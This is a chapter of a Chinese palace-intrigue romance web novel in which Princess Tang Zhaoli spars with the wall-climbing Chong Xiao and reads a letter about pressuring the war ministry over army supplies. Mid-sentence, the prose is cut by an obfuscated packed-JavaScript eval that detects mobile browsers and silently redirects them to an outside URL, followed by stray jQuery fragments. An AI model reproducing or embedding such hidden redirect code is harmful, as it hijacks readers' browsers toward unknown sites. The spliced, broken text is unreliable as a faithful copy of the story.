唐昭离在山中一连住了好几日。
正值春末夏初之际,山中草木葳蕤,雨水霖霖,唐昭离远离京城的纷争与烦恼,日日窝在屋中观雨赏花,倒也十分自得。
只有一事不太如意。
“殿下。”
延龄打帘进来,一脸无奈地通禀道:“崇三公子在门外求见。”
“……他怎么又来了?”
斜倚窗边听雨的少女蹙起一对弯弯柳眉,口气不善:“昨日不是已经拒过他一回了么?”
延龄不知晓来时路上发生的事,只当这对小儿女又因些鸡毛蒜皮的小事起了矛盾,她思忖了片刻,苦口婆心地劝说道:“这几日一直有雨,可三公子却日日都来求见,足以见其诚意。纵使他真有过错,殿下,您也该见他一回,与他把话说清楚。”
这番话合情合理,可在唐昭离的耳中,却令她回想起那个面红耳热的傍晚。
她顿时恼羞成怒,素手重重地一拍窗棂,愤然道:“我和他没什么好说的!崇霄就是一个居心叵测的坏胚子!延龄,你不要看他平日里瞧着正经,实际上心里歪心眼儿多着呢!”
啊?
延龄被这一番话弄得有些茫然。
居心叵测的坏胚子?这还是她知晓的那个崇三公子么?
她还未想通,便听见自家殿下不容置喙地拒绝:“总之就是不见,你让他走罢!”
“若不肯走,就命侍卫将他作贼子打出去!不必顾及我的脸面!”
延龄有些犹豫:“殿下,这是否有些太……”太狠了吧?
“我意已决,你且去办就是。”
“哎,是。”延龄只得无奈应下,领命而去。
唐昭离摁了摁眉心,扭头继续赏雨。
可方才还觉得清脆好听的雨声,如今却是怎么听怎么杂乱,怎么听怎么恼人。唐昭离越听越烦,忍不住拢上窗,转身重重地扑上贵妃榻,将脸捂进软枕中,兀自生起了没来由闷气。
都怪崇霄!
她在心中默默怒骂崇霄,或许是这风雨声催眠,亦或许是骂人耗神,竟渐渐地有了些睡意。可当她正要睡过去时,却又听见木窗上传来一下又一下极有节奏的敲击声。
起初唐昭离只当是斜雨砸窗,她捂住耳朵想要隔绝,可这敲击声却愈演愈烈,直吵得人睡不着觉。
……这连绵不绝的山雨简直和某人一样讨厌!
她只得无可奈何地坐起身。
“来人!”
屋中静悄悄的,随侍们都不知做什么去了,竟无一人应声。
不像话,简直太不像话了!
那恼人的动静还在继续,唐昭离气闷地在榻上翻了翻身,不情不愿地蛄蛹着爬起,她不顾乌发凌乱,衣衫不整,带着些许怒意重重地推开了窗。
潮湿雨雾裹挟着山林间葱蔚洇润之气扑面而来,窗外,那个这几日被她在心中翻来覆去怒骂数次的人持一把油纸伞,松枝般挺拔地立着,他长眉舒展,眼眸湿润潋滟,含着微微笑意望向她。
他仿佛知道开窗的一定会是她,亦或者这一切,本就是他的精心策划。
这个认知令本就气闷的唐昭离更加不爽。
“你怎么进来的?”她毫不客气地呛道,“崇三公子可否知道不请自来便是贼的道理?”
听了这话,崇霄却并不恼,他收了纸伞,故作哀愁地叹了口气,道:“我本也不想失礼,可此前多次求见,殿下都对我不理不睬,我又身怀要事,无奈之下只得出此下策——翻墙来见。”
他抬起胳膊,扯着天青色袖摆上一块显眼的泥渍凑到唐昭离眼下:“瞧,殿下府上的高墙和府中的侍卫,对我当真是不客气极了。”
“你……!”唐昭离一时不知该说什么才好。
此处虽为山中别院,但因是皇室居所,建造时一点都不马虎,外墙更是砌得极高,等闲之人根本无法翻越。况且她这一回出宫,是命延龄带了些宫中侍卫来的,他们武艺虽然算不得顶尖,但也能称得上一句不俗。这番布置绝对算得上妥当,可怎么在崇霄口中,便成了一句仿佛吃饭喝水般简简单单的“翻墙来见”?
崇霄你真是……不知该说你好本事呢?还是该说你简直疯了?几日不见又能如何?这般不管不顾地强闯,若是真伤着了可怎么是好?
她心中思绪繁乱,一时不知自己究竟是斥他以下犯上强闯别院,还是怨他不顾自己安危做出这等疯事。
见唐昭离神色复杂,久久不语,崇霄倒也大致猜得出她的想法,他收回了手,扬起一个轻松爽朗的笑容:“昭昭这是心疼我了么?别担心,这点人伤不着我,我声东击西将他们支开,如今大抵都还在别院的另一处寻我呢,我根本就没和他们交手。”
“你还笑?耍我的侍从好玩是吧?”
看着他这副嬉皮笑脸的模样,唐昭离既心虚又气恼,她撇过头去,口气生硬地说道:“罢了,这回便饶了你,说罢,你的要事是什么?”
她又突然想起来什么,回过头瞪起一双美目凶道:“可不许再提那事臊我!”什么嫁不嫁娶不娶的,她才不考虑呢!今生她就没打算嫁人!
“好罢,好罢,我不提。”
崇霄倒是意外地顺从,他斜斜地倚在窗前,专注地望着唐昭离,正当唐昭离肃起神色,洗耳恭听之时,却见这厮蓦然弯起唇角,语气轻佻地逗弄她道:“我就想来看看你,几日不见思之若狂。”
“!!!”
唐昭离呆立了片刻之后,大恼:“这就是你说的正事?崇霄!你莫要耍我!”
她羞恼地扑上前,双手捂住崇霄的嘴。
“你到底有没有事儿要说?点头,还是摇头?若没有,你便走罢!”
崇霄并不回答她的问题,他垂眸,温柔地看着眼前惊慌失措的女郎,潋滟的桃花眼微微弯起,一副风流坏胚子的模样。
唐昭离深感不妙。
果然,下一瞬,她便感觉到手心中,有一个柔软的东西轻轻地啄了她一下,她愣了愣,在意识
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196755|163711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到那时什么后,脸腾地通红:“恬不知耻!”
“来人啊!”唐昭离骤然放开捂住崇霄的手,向四周大声地喊道,“崇霄在这儿!给我把这不速之客赶出去!”
见她似乎真的恼了,崇霄左手在窗沿边一撑,利落地翻进屋中,他一边抬手掩窗,一边伸手拽住唐昭离的衣袖,不让她离去:“昭昭莫恼,是我不好。”
“我是当真有正事要同你讲。”
唐昭离才不信他,她愤愤地甩开他的手,仍是恼得要走,见状,崇霄忙从怀中掏出一个封套,递至唐昭离面前。
“我是来替昊王殿下送信的。”
此话一出,唐昭离止住了步伐。
她横了崇霄一眼,夺过封套,边拆边往书案处走去。
这是一封关于粮草筹集的信件。
前些日子,她曾放话说“不出十日,让王谓松口筹粮”,如今,时间已过半数。
而她此前的诸多布置,也已初见成效。
离京前,唐昭离命顽心从她的私库中取了些珠宝首饰,以“忧心边境战事,不忍将士受苦”为由,大张旗鼓地将其典当,所得之资,悉数送至昊王府,并呼吁京中的豪门望族,富商巨贾有钱捐钱,有粮捐粮,支持崇家军抗击匈奴。
京中无人不知淳华公主恩宠极盛,万不敢驳了她的面子,既然公主呼吁且以身作则,那自是多少都得捐点,可与此同时,一些朝廷命官亦心生疑惑——本朝国力强盛,这国库中也并非无银可取用,为何需要募捐?他们去昊王府上打探情况,可府中的幕僚却是奇怪的很,每当提及此事,他们都三缄其口,仿佛这其中有什么难言之隐。
官员们问不出所以,心中的疑虑生根发芽,破土而出,竟渐渐地发展成了怀疑。
这昊王与淳华公主,莫非是想借募捐之事敛私财?
这怎么能行?!
上京城中一时间人心惶惶,再加之有心人趁乱使坏,散布流言,几日之后,昊王府的名声急转直下,便是街边嬉戏的稚童,口中也开始哼唱起昊王昏庸的歌谣。
可这一切,却全在唐昭离的掌握之中。
就在这群情激愤之时,昊王府仿佛无可奈何般松了口,对外公布了一封兵部关于拨给北地辎重的公文,其中粮草等各类物资数目之少,令人乍舌。这份公文可谓是一石惊起千层浪,顿时将众人的矛头都转向了兵部,再联想起此前淳华公主和昊王的所作所为,便纷纷怒斥兵部懒政不作为,竟是逼得一国公主变卖首饰,支援边境。
“……一切正如阿妹所料,”昊王唐佑宁在信中如是道,“公文不过才公布了短短几日,兵部便有些坐不住了,今日已私下托人来王府带话,说此前的辎重一事不作数了,还需再议,口气也和缓了许多。”
“不过,有一事我拿不定主意,还请阿妹定夺。”
“是有关淳恪的。”
淳恪?
唐昭离一怔,继而有些不耐地皱了皱眉。
她此时作什么妖?